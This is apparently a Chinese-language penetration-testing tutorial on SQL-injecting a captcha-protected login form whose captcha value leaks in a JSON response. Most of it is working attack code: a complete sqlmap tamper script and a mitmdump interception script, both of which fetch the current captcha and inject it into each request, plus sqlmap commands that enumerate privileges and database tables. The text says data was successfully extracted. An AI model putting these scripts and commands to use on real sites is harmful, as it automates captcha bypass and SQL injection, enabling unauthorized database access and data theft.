tamper脚本编写与mitmdump
0x01 前提
注入点在登录框处,但是目标每次都会先校验验证码,而验证码会在返回包中以json格式出现。
0x02 编写tamper脚本
由于目标的验证码在response中回显出来了,所以我们可以利用tamper脚本去读取验证码,再利用sqlmap进行注入
tamper脚本所在kali路径中/usr/share/sqlmap/tamper
下
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import requests
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
#定义retVal变量,传递sqlmap payload
retVal = payload
#如果payload 存在
if payload:
#将 retVal 重置为空字符串
retVal = ""
url = "http://xxxx/captcha.php"
headers = {
"Cookie": "PHPSESSID=0jo0nef461ejnvb4ou2bojrl05"}
#发送get请求
res = requests.get(url, headers=headers, timeout=3)
#获取json格式中的验证码
#eg:"pharse":"ZsD88","base64":"\/9j\/4AAQSkZ"
#res.text.split('":"') 以":"分割内容将一下分成了3个元素"pharse、ZsD88","base64、\/9j\/4AAQSkZ"
#res.text.split('":"')=['"pharse', 'ZsD88","base64', '\/9j\/4AAQSkZ"']
#res.text.split('":"')[1]=ZsD88","base64
#split('"')=['ZsD88', ',', 'base64']
#split('"')[0]=ZsD88
yzm = res.text.split('":"')[1].split('"')[0]
#将payload的值和&captcha+yzm截取到值返回,后续再通过burp改包
retVal = "&captcha=" + yzm
retVal = payload + retVal
return retVal
原始包中
我们可以利用Burp中的Match and replace功能替换掉多余的数据(不使用正则也可以匹配到,一定要选对type)
方法2:sqlmap直接设置跳过url编码格式,只需要替换一下&captcha=
变量
sqlmap -r sql.txt --is-dba --proxy=http://192.168.31.35:8081 --tamper=yanzhengma.py –skip-urlencode
点击auto-modified request 可以看到修改后的数据包
成功注出数据
0x03 利用mitmdump
方法2:利用Mitmdump拦截请求数据并修改
mitmdump kali自带
<-mitmdump -s poc.py -p 8081->
from mitmproxy import ctx
import requests
#request(flow)函数是mitmproxy的回调函数,当收到请求,该函数就会被调用
def request(flow):
#获取flow.request收到的请求对象
request = flow.request
#定义info 打印日志信息
info = ctx.log.info
#获取request中cookies的phpsessid值并赋值给Phps
phps = request.cookies["PHPSESSID"]
#获取request请求对象从开头到末尾第五位
#username=xxx&password=xxx&captcha=tfaLj 也就是截取username=xxx&password=xxx&captcha=这一段
tmp = request.text[0:-5]
#调用获取验证码的函数,cap获取到的是return r["pharse"]也就是验证码的值
cap = get_captcha(phps)
#打印验证码
info(f"captch {cap}")
#打印请求结果
request.text = f"{tmp}{cap}"
info(str(request.text))
def get_captcha(phps):
url = "http://192.168.31.100/captcha.php"
r = requests.get(url,headers={"Cookie":f"PHPSESSID={phps}"}).json()
#返回验证码的值
return r["pharse"]
sqlmap发包即可
sqlmap -r sql.txt -D "db" --tables --proxy=http://192.168.31.106:8081 --threads=1 --tech=B --batch